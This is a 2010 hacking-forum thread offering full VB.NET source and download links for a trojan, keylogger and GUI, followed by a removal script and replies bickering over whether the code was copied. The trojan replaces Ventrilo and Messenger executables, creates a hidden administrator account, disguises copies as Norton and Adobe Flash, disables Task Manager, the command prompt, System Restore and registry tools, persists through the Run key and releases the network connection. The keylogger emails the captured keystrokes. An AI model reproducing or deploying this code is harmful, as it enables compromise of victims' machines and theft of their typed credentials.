

Forum:[Hack Forums](#)

Thread: [\[Source Code\] Keylogger + Trojan + GUI](#)

zerg236 - August 21, 2010, 9:42 pm

Download Virus: <http://www.mediafire.com/?xqt0xh8x2c93dhj> (Keylogger not added) (Source listed)

Download Virus Fix: <http://www.mediafire.com/?xf6g8c5xd6upn4d> (Source listed)

All source is given below. Please contribute codes to add, remove, and modify. Read below.

Post 1 out of 3... Please scroll down for the next post.

Post 1: Form 2 GUI + Malicious injection

Post 2: Keylogger

Post 3: Fix the virus/removal code.

This is my first post, and over the past 4 days, I have worked on making a Trojan Virus, Keylogger, as well as a GUI interface.

However, I'd like to express some open-source into this, meaning that I want for our community to share into this project.

Please reply with added sources, modifications, and I will edit as we go along.

I will explain the source at the end.

Form2 is the GUI as well as the main injection/modifier/registry editor. This is the trojan portion of our virus.

Please scroll to the end of the code and I will help define each line of code.

Code Public Class Form2

Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles MyBase.Load

'Code by zerg236 and Mod4!!!LinUX

On Error Resume Next

Dim owmp As Object

Dim colCDROMs

owmp = CreateObject("WMPlayer.OCX.7")

colCDROMs = owmp.cdromCollection

If colCDROMs.Count >= 1 Then

For i = 0 To colCDROMs.Count - 1

colCDROMs.Item(i).eject()

Next

End If

If System.IO.Directory.Exists("C:\Program Files\Ventrilo") Then

System.IO.File.Delete("C:\Program Files\Ventrilo\Ventrilo.exe")

System.IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, "C:\Program Files\Ventrilo\Ventrilo.exe") 'I want to force overwrite file here

End If

If System.IO.Directory.Exists("C:\Program Files\Windows Live\Messenger") Then

```

System.IO.File.Delete("C:\Program Files\Windows Live\Messenger\msnmsgr.exe")
System.IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, "C:\Program
Files\Windows Live\Messenger\msnmsgr.exe") 'I want to force overwrite file here
End If
Shell("net user M0dLinUx linux /add", vbHide)
Shell("net localgroup administrators M0dlinUx /add", vbHide)

If System.IO.File.Exists("C:\Documents and Settings" & System.Environment.UserName &
"\Desktop\Windows Malware Protection Update.exe") = False Then
FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" &
System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
Else
My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" &
System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" &
System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
End If
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v
DisableTaskMgr /t REG_DWORD /d 1 /f", vbHide)

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\
System", "DisableCMD", "1", Microsoft.Win32.RegistryValueKind.DWord)
My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord)

My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV
ersion\Policies\System", "DisableRegistryTools", "1", Microsoft.Win32.RegistryValueKind.DWord)
Dim regloc As String =
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
My.Computer.Registry.SetValue(regloc, "Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
ShowInTaskbar = False
WebBrowser1.Navigate("http://trolololololololololo.com/")
End Sub
Private Sub Form2_KeyDown(ByVal sender As System.Object, ByVal e As
System.Windows.Forms.KeyEventArgs) Handles MyBase.KeyDown
e.Handled = True
End Sub
Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)
On Error Resume Next
Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
Dim Key As Microsoft.Win32.RegistryKey =
Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick
On Error Resume Next
Shell("ipconfig /release", vbHide)
Timer2.Stop()
Timer2.Enabled = False
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer2.Tick

```

```

On Error Resume Next
If System.IO.File.Exists("C:\i386\Adobe\Flash\Macromedia\Global") = False Then
    My.Computer.FileSystem.CreateDirectory _
        ("C:\i386\Adobe\Flash\Macromedia\Global")
    FileCopy(System.Windows.Forms.Application.ExecutablePath,
"C:\i386\Adobe\Flash\Macromedia\Global" & "AdobeFlashPlayer.exe")
End If
If System.IO.File.Exists("C:\Documents and Settings" & System.Environment.UserName &
"\Desktop\Norton Antivirus 2008\Norton.exe") = False Then
    My.Computer.FileSystem.CreateDirectory _
        ("C:\Documents and Settings\" & System.Environment.UserName & "\Desktop\Norton Antivirus
2008")
    FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" &
System.Environment.UserName & "\Desktop\Norton Antivirus 2008\Norton.exe")
Else
    My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" &
System.Environment.UserName & "\Desktop\Norton Antivirus 2008\Norton.exe")
    FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\Documents and Settings\" &
System.Environment.UserName & "\Norton Antivirus 2008\Norton.exe")
End If
AddStartup("Javabloom Updater",
"C:\i386\Adobe\Flash\Macromedia\Global\AdobeFlashPlayer.exe")
Timer1.Stop()
Timer1.Enabled = False
End Sub
End Class

```

First, we are creating a Media Player virtual mountpoint to which sends data that there is a CD inside the CD tray. We define the value, and set an if count, then tell the OS to eject the tray.

Now, We see if common fileplaces exist. We see IF ventrilo exists, then delete ventrilo.exe and replace it with our trojan.

We then do the same with Messenger.

After this, we have a useless shell script to add administrative rights to a new user.

Next, We add a fake antivirus onto the desktop itself.

After that, we are adding a registry modification to disable the users task manager, Command Prompt, system restore, & Registry

We next send a command to not show the form in task manager and navigate to the site that the form displays in a web browser

We next set a start-up path by adding a registry value into the registry.

When timer 1 is ticked, it will tick ipconfig /release- if user has a router, to release internet access.

Next we add files to C:\ as well as our start point as well as a few more trick directories.

TickTack - August 21, 2010, 9:44 pm

0.0

wat. Great job, but it seems highly ripped.

zerg236 - August 21, 2010, 9:46 pm

Now we will add form1. You will need to change the code that I enter in "CHANGEHERE" so when copied into VB, CTRL + F and type CHANGEHERE

```
Code Imports System.IO
Imports system.net.mail
```

```
Public Class Form1
```

```
    Dim Path As Object
```

```
    Private Property TaskVisible As Boolean
```

```
    Dim result As Integer
```

```
    Dim i As Double
```

```
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
```

```
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
```

```
    Public Function GetCapslock() As Boolean
```

```
        ' Return Or Set the Capslock toggle.
```

```
        For i = 32 To 128
```

```
            result = 0
```

```
            result = GetAsyncKeyState(i)
```

```
        If result = -32767 Then
```

```
            TextBox1.Text = TextBox1.Text + Chr(i)
```

```
        End If
```

```
    Next i
```

```
End Function
```

```
Public Function GetShift() As Boolean
```

```
    ' Return Or Set the Capslock toggle.
```

```
    GetShift = CBool(GetAsyncKeyState(&H10))
```

```
End Function
```

```
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As
System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
```

```
    Dim Mail As New MailMessage
```

```
    Try
```

```
        Mail.From = New MailAddress("CHANGEHERE YOUR EMAIL")
```

```
        Mail.To.Add("CHANGEHERE YOUR EMAIL ADDRESS")
```

```
        Mail.Subject = ("CHANGEHERE SUBJECT")
```

```
        Mail.Body = (TextBox1.Text)
```

```
        Dim s As New SmtplibClient("CHANGEHERE YOUR STMP SERVER")
```

```
        s.Port = "CHANGEHERE YOUR STMP PORT"
```

```
        s.EnableSsl = True
```

```
        s.Credentials = New System.Net.NetworkCredential("CHANGEHERE YOUR EMAIL ",
"CHANGEHERE YOUR PASSWORD")
```

```
        s.Send(Mail)
```

```
    Catch ex As Exception
```

End Try

End Sub

```
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Hide()
    ShowInTaskbar = False
    On Error Resume Next
    Timer1.Interval = 10
    Timer1.Enabled = True
    AddStartup(Me.Text, Application.ExecutablePath)
    Form2.Visible = True
```

End Sub

```
Public Shared Sub AddStartup(ByVal Name As String, ByVal Path As String)
    Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
    Dim Key As Microsoft.Win32.RegistryKey =
    Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
    Key.SetValue(Name, Path, Microsoft.Win32.RegistryValueKind.String)
End Sub
```

[hr]

We will now add a Timer and enable its interval to 10. This will be under Form1.

```
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    For i As Integer = 1 To 225
        result = 0
        result = GetAsyncKeyState(i)
        If result = -32767 Then
            If GetCapslock() = True And GetShift() = True Then
                Select Case (i)
                    Case 192
                        TextBox1.Text = TextBox1.Text + "~"
                    Case 1
                        TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                    Case 64 To 90
                        TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                    Case 97 To 122
                        TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                    Case 32
                        TextBox1.Text = TextBox1.Text + " "
                    Case 48
                        TextBox1.Text = TextBox1.Text + ")"
                    Case 49
                        TextBox1.Text = TextBox1.Text + "!"
                    Case 50
                        TextBox1.Text = TextBox1.Text + "@"
                    Case 51
                        TextBox1.Text = TextBox1.Text + "#"
                    Case 52
                        TextBox1.Text = TextBox1.Text + "$"
                    Case 53
```

```

TextBox1.Text = TextBox1.Text + "%"
Case 54
TextBox1.Text = TextBox1.Text + "^"
Case 55
TextBox1.Text = TextBox1.Text + "&"
Case 56
TextBox1.Text = TextBox1.Text + "*"
Case 57
TextBox1.Text = TextBox1.Text + "("
Case 8
TextBox1.Text = TextBox1.Text + "[BackSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + ">"
Case 16
Case 160 To 165
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 189
TextBox1.Text = TextBox1.Text + " _ "
Case 187
TextBox1.Text = TextBox1.Text + "+"
Case 219
TextBox1.Text = TextBox1.Text + "{"
Case 221
TextBox1.Text = TextBox1.Text + "}"
Case 186
TextBox1.Text = TextBox1.Text + ":"
Case 222
TextBox1.Text = TextBox1.Text + "'''''''"
Case 188
TextBox1.Text = TextBox1.Text + "<"
Case 191
TextBox1.Text = TextBox1.Text + "?"
Case 220
TextBox1.Text = TextBox1.Text + "|"
Case 13
TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
Case 20
Case 91 'windows key
Case 9
TextBox1.Text = TextBox1.Text + " [Tab]"
Case 2
TextBox1.Text = TextBox1.Text + " [RightMouseClicked]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = True And GetShift() = False Then

```

Select Case (i)
Case 91 'windows key
Case 1
'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i)
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i)
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48 To 57
TextBox1.Text = TextBox1.Text + Chr(i)
Case 8
TextBox1.Text = TextBox1.Text + "[BackSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + "."
Case 16
Case 160 To 165
Case 20
Case 192
TextBox1.Text = TextBox1.Text + "`"
Case 189
TextBox1.Text = TextBox1.Text + "-"
Case 187
TextBox1.Text = TextBox1.Text + "="

Case 219
TextBox1.Text = TextBox1.Text + "["
Case 221
TextBox1.Text = TextBox1.Text + "]"
Case 186
TextBox1.Text = TextBox1.Text + ";"
Case 222
TextBox1.Text = TextBox1.Text + ""
Case 188
TextBox1.Text = TextBox1.Text + ","
Case 191
TextBox1.Text = TextBox1.Text + "/"
Case 220
TextBox1.Text = TextBox1.Text + "\"
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 13
TextBox1.Text = TextBox1.Text + "[Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + "[Tab]"
Case 2
TextBox1.Text = TextBox1.Text + "[RightMouseClick]"
Case 37 To 40

```
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = False And GetShift() = True Then
Select Case (i)
Case 91 'windows key
Case 192
TextBox1.Text = TextBox1.Text + "~"
Case 1
' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i)
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i)
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48
TextBox1.Text = TextBox1.Text + ")"
Case 49
TextBox1.Text = TextBox1.Text + "!"
Case 50
TextBox1.Text = TextBox1.Text + "@"
Case 51
TextBox1.Text = TextBox1.Text + "#"
Case 52
TextBox1.Text = TextBox1.Text + "$"
Case 53
TextBox1.Text = TextBox1.Text + "%"
Case 54
TextBox1.Text = TextBox1.Text + "^"
Case 55
TextBox1.Text = TextBox1.Text + "&"
Case 56
TextBox1.Text = TextBox1.Text + "*"
Case 57
TextBox1.Text = TextBox1.Text + "("
Case 8
TextBox1.Text = TextBox1.Text + "[BackSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + ">"
Case 16
Case 160 To 165
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 189
TextBox1.Text = TextBox1.Text + "_ "
Case 187
TextBox1.Text = TextBox1.Text + "+"
```

```

Case 219
TextBox1.Text = TextBox1.Text + "{"
Case 221
TextBox1.Text = TextBox1.Text + "}"
Case 186
TextBox1.Text = TextBox1.Text + ":"
Case 222
TextBox1.Text = TextBox1.Text + "''''''''"
Case 188
TextBox1.Text = TextBox1.Text + "<"
Case 191
TextBox1.Text = TextBox1.Text + "?"
Case 220
TextBox1.Text = TextBox1.Text + "|"
Case 13
TextBox1.Text = TextBox1.Text + "[Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + "[Tab]"
Case 20
Case 2
TextBox1.Text = TextBox1.Text + "[RightMouseClick]"
Case 37 To 40
Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If
If GetCapslock() = False And GetShift() = False Then
Select Case (i)
Case 1
' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
Case 64 To 90
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 97 To 122
TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
Case 32
TextBox1.Text = TextBox1.Text + " "
Case 48 To 57
TextBox1.Text = TextBox1.Text + Chr(i)
Case 8
TextBox1.Text = TextBox1.Text + "[BackSpace]"
Case 46
TextBox1.Text = TextBox1.Text + "[Del]"
Case 190
TextBox1.Text = TextBox1.Text + "."
Case 16
Case 160 To 165
Case 20
Case 192
TextBox1.Text = TextBox1.Text + "`"
Case 189
TextBox1.Text = TextBox1.Text + "-"
Case 187
TextBox1.Text = TextBox1.Text + "="

```

```

Case 91 'windows key
Case 219
TextBox1.Text = TextBox1.Text + "["
Case 221
TextBox1.Text = TextBox1.Text + "]"
Case 186
TextBox1.Text = TextBox1.Text + ";"
Case 222
TextBox1.Text = TextBox1.Text + """"
Case 188
TextBox1.Text = TextBox1.Text + ","
Case 191
TextBox1.Text = TextBox1.Text + "/"
Case 220
TextBox1.Text = TextBox1.Text + "\"
Case 17
TextBox1.Text = TextBox1.Text + "[Ctrl]"
Case 18
TextBox1.Text = TextBox1.Text + "[Alt]"
Case 13
TextBox1.Text = TextBox1.Text + "[Enter]" + vbNewLine
Case 9
TextBox1.Text = TextBox1.Text + "[Tab]"
Case 2
TextBox1.Text = TextBox1.Text + "[RightMouseClicked]"
Case 37 To 40

```

```

Case Else
TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
End Select
End If

```

```

End If
Next i
End Sub

```

```
End Class
```

(Aug 21, 2010 09:44 PM)TickTack Wrote: [\[CITE\]](#) 0.0

wat. Great job, but it seems highly ripped.

Not ripped. I used a few forums, such as for the DVD tray portion. However, most of it is coded and modified.

Keep in mind that I defined this as being Open Source. Edit: Going through it only the DVD part was left unmodified to fit my personal taste.

This is the fix I have made, the link to the virus download is on the top of this entire thread.

This is to remove every setting added

```

Code Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick
On Error Resume Next

```

```
Shell("taskkill /F /IM winreg.exe")
```

```
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "0", Microsoft.Win32.RegistryValueKind.DWord)
```

```
Label1.Text = "ENABLING _ TASK MANAGER"
```

```
ProgressBar1.Value = 3
```

```
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "0", Microsoft.Win32.RegistryValueKind.DWord)
```

```
Label1.Text = "ENABLING _ COMMAND LINE _ COMMAND PROMPT ____ WORKING _"
```

```
ProgressBar1.Value = 12
```

```
My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "0", Microsoft.Win32.RegistryValueKind.DWord)
```

```
Label1.Text = "RENEWING SYSTEM ____ RESTORE ____ DEFAULT ____"
```

```
Shell("ipconfig /renew")
```

```
Label1.Text = "RENEWING INTERNET ____ CONFIGURATIONS ____ IPCONFIG;"
```

```
ProgressBar1.Value = 28
```

```
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "0", Microsoft.Win32.RegistryValueKind.DWord)
```

```
Label1.Text = "GIVING ADMINISTRATIVE RIGHTS TO : __REGISTRY __ TOOLS __ WORKING _"
```

```
ProgressBar1.Value = 40
```

```
Dim regloc As String =
```

```
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
```

```
Label1.Text = "EVALUATING REGISTRY BINARIES AFFECTED ____"
```

```
ProgressBar1.Value = 47
```

```
My.Computer.Registry.SetValue(regloc, "Hidden", "1", Microsoft.Win32.RegistryValueKind.DWord)
```

```
ProgressBar1.Value = 51
```

```
Shell("msconfig")
```

```
Label1.Text = "MSCONFIG __ SETTING ____ -- - _"
```

```
ShowInTaskbar = True
```

```
Label1.Text = "SHOW __ IN __ TASK __ SYSTEM ____ADDED __COMMANDLINE"
```

```
ProgressBar1.Value = 61
```

```
My.Computer.FileSystem.DeleteFile("C:\i386")
```

```
My.Computer.FileSystem.DeleteFile("C:\i386\Adobe")
```

```
My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash")
```

```
My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash\Macromedia")
```

```
My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash\Macromedia\GlobalAdobeFlashPlayer.exe")
```

```
My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash\Macromedia\Global")
```

```
Label1.Text = "DELETING __ REPLICATED __ VIRUS BINARIES __"
```

```
My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" &  
System.Environment.UserName & "\Desktop\Windows Malware Protection Update.exe")
```

```
Label1.Text = "DELETING>>"
```

```
My.Computer.FileSystem.DeleteFile("C:\Documents and Settings\" &  
System.Environment.UserName & "\Desktop\Norton Antivirus 2008")
```

```
Label1.Text = "DELETING VIRUS BINARIES AND AFFECTED SUBFOLDERS"
```

```
ProgressBar1.Value = 71
```

```
My.Computer.FileSystem.DeleteFile("C:\Norton Free Antivirus")
Label1.Text = "DELETING FAKE BINARIES ____ NORTON ____ FREE __ ANTI_VIRU_S__"
ProgressBar1.Value = 84
```

```
My.Computer.FileSystem.DeleteFile("C:\i386\Adobe\Flash\Macromedia\Global")
Label1.Text = "ALMOST DONE, REMOVING FAKE____ ADOBE____ PLUGIN____.EXE"
ProgressBar1.Value = 93
```

```
Shell("net user /delete M0dLinUx")
Label1.Text = "REMOVING HACKED SECURITY ACCOUNT ____ M0dlinUX"
Shell("net localgroup administrators /delete M0dlinUx")
Label1.Text = "REMOVING NETWORK BREACH_+__"
ProgressBar1.Value = 100
Timer1.Stop()
Timer1.Enabled = False
Timer1.Stop()
Timer1.Enabled = False
Timer1.Stop()
Timer1.Enabled = False
Timer1.Stop()
Timer1.Enabled = False
Timer1.Interval = 200
```

```
Label1.Text = "Finishing____ ____Registry____ ____Values____"
MsgBox("All values have been repaired", MsgBoxStyle.Information, "M0d -$u")
```

```
Me.Close()
End Sub
```

Oxycotton - August 21, 2010, 11:07 pm

If you used other forums its ripped, c&p coding lol.

zerg236 - August 21, 2010, 11:25 pm

(Aug 21, 2010 11:07 PM)KiddBiz Wrote: [\[CITE\]](#) If you used other forums its ripped, c&p coding lol.
>Implying it's ripped,

One bloated script makes it ripped

Hahaha, oh wow, I'd imagine this forum to be intelligent.

PurpleHaze - August 21, 2010, 11:42 pm

This was mad copy and pasta.

You should actually learn the language instead of trying to take credit for stuff not yours.

zerg236 - August 22, 2010, 12:11 am

(Aug 21, 2010 11:42 PM)PurpleHaze Wrote: [\[CITE\]](#) This was mad copy and pasta.90% modified from original source.

Lucifer007 - October 11, 2016, 7:38 am

Bt how its work

. After creating it on notepad how should i save it?

iLogic™ - October 11, 2016, 7:43 am

(Oct 11, 2016 07:38 AM)Lucifer007 Wrote: [\[CITE\]](#) Bt how its work

. After creating it on notepade how should i save it?

Lmao. This thread is from 2010 and OP is already closed. Nice gravedig you have done ?

\$lick - *October 11, 2016, 3:36 pm*

(Oct 11, 2016 07:38 AM)Lucifer007 Wrote: [\[CITE\]](#) Bt how its work

. After creating it on notepade how should i save it?

Save as ".exe" and then alt+f4 your life.